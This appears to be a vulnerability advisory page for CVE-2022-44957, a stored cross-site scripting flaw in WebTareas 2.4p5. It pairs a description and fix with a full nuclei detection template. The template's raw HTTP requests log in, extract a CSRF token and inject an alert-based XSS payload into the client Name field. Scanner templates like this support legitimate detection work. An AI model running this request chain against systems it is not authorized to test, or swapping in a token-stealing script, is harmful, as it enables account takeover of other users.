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CVE-2022-44957· webtareas project / webtareas· CWE-79
WebTareas 2.4p5 - Cross-Site Scripting
webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
Impact
Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
Fix
Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
How to confirm it
Send: POST /general/login.php?session=false ; GET /clients/editclient.php? ; POST /clients/editclient.php
Positive when: contains in body_3 "<details/open/ontoggle=alert(document.domain)>" and "clients/listclients.php?" AND contains in header_3 "text/html"Run it with nuclei: nuclei -id CVE-2022-44957 -u <target>
The full check
id: CVE-2022-44957
info:
name: WebTareas 2.4p5 - Cross-Site Scripting
author: theamanrawat
severity: medium
description: |
webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
impact: |
Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
remediation: |
Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
reference:
- http://webtareas.com/
- https://github.com/anhdq201/webtareas/issues/11
- https://nvd.nist.gov/vuln/detail/CVE-2022-44957
- http://webtareas.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-44957
cwe-id: CWE-79
epss-score: 0.01137
epss-percentile: 0.66822
cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: webtareas_project
product: webtareas
tags: cve,cve2022,xss,webtareas,authenticated,intrusive,webtareas_project,vuln
http:
- raw:
- |
POST /general/login.php?session=false HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="action"
login
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginForm"
{{username}}
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="passwordForm"
{{password}}
-----------------------------3023071625140724693672385525
Content-Disposition: form-data; name="loginSubmit"
Log In
-----------------------------3023071625140724693672385525--
- |
GET /clients/editclient.php? HTTP/1.1
Host: {{Hostname}}
- |
POST /clients/editclient.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="csrfToken"
{{csrf}}
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="action"
add
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cown"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cn"
{{randstr}}<details/open/ontoggle=alert(document.domain)>
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="add"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="zip"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ct"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="cou"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wp"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="fa"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="url"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="email"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="curr"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="wc"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pym"
1
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="pyt"
7
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="c"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="ssc"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="attnam1"
-----------------------------34025600472463336623659912061
Content-Disposition: form-data; name="atttmp1"
-----------------------------34025600472463336623659912061--
host-redirects: true
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '<details/open/ontoggle=alert(document.domain)>'
- 'clients/listclients.php?'
condition: and
- type: word
part: header_3
words:
- text/html
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="csrfToken" value="([0-9a-zA-Z]+)"'
internal: trueReferences
- http://webtareas.com/
- https://github.com/anhdq201/webtareas/issues/11
- https://nvd.nist.gov/vuln/detail/CVE-2022-44957
- http://webtareas.com
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